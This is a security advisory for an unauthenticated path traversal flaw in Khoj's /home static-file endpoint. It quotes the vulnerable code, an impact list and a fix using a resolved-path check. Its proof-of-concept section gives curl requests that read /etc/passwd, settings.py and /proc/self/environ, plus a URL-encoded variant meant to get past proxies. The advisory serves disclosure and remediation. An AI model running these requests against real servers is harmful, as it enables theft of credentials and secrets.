PT-2026-106309 · Pypi · Khoj

Published

2026-09-25

·

Updated

2026-09-25

CVSS v4.0

8.7

High

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Summary

The /home/{file path:path} endpoint in web client.py serves static files by directly concatenating the user-supplied file path with the home directory constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use ../ sequences to read arbitrary files from the server filesystem.

Details

Vulnerable code — src/khoj/routers/web client.py lines 46-49:
python
@web client.get("/home/{file path:path}", response class=FileResponse)
def home static files(file path: str):
  """Serve static files from the home landing page directory"""
  return FileResponse(constants.home directory / file path)
Where home directory is defined in src/khoj/utils/constants.py line 6:
python
home directory = web directory / "home/"
What is missing:
  • No .. traversal filtering
  • No path normalization/resolution check (e.g., resolved.is relative to(home directory))
  • No authentication decorator (@requires(["authenticated"]) is absent)
  • Starlette's FileResponse does NOT perform path traversal protection
Path resolution:
Request: GET /home/../../../../../../../etc/passwd
file path = "../../../../../../../etc/passwd"
home directory / file path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd
OS resolves to: /etc/passwd

PoC

bash
# Read /etc/passwd (no authentication required)
curl http://localhost:42110/home/../../../../../../../etc/passwd

# Read application settings (may contain SECRET KEY, DB credentials)
curl http://localhost:42110/home/../../../../settings.py

# Read environment file
curl http://localhost:42110/home/../../../../../../../proc/self/environ
URL-encoded variant (may bypass some reverse proxy normalization):
bash
curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Impact

Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:
  • Read application configuration — Django SECRET KEY, database credentials, API keys
  • Read system files — /etc/passwd, /etc/shadow (if permissions allow), /proc/self/environ
  • Exfiltrate sensitive data — Any file readable by the server process
  • Facilitate further attacks — Leaked credentials enable deeper compromise
No authentication required — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.

Recommended fix

Use FastAPI's built-in StaticFiles mount instead of a custom handler, or add explicit path validation:
python
@web client.get("/home/{file path:path}", response class=FileResponse)
def home static files(file path: str):
  resolved = (constants.home directory / file path).resolve()
  if not resolved.is relative to(constants.home directory.resolve()):
    raise HTTPException(status code=404)
  return FileResponse(resolved)

Fix

Path traversal

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Weakness Enumeration

CWE-22

Related Identifiers

GHSA-62MM-XWMV-CRHG

Affected Products

Khoj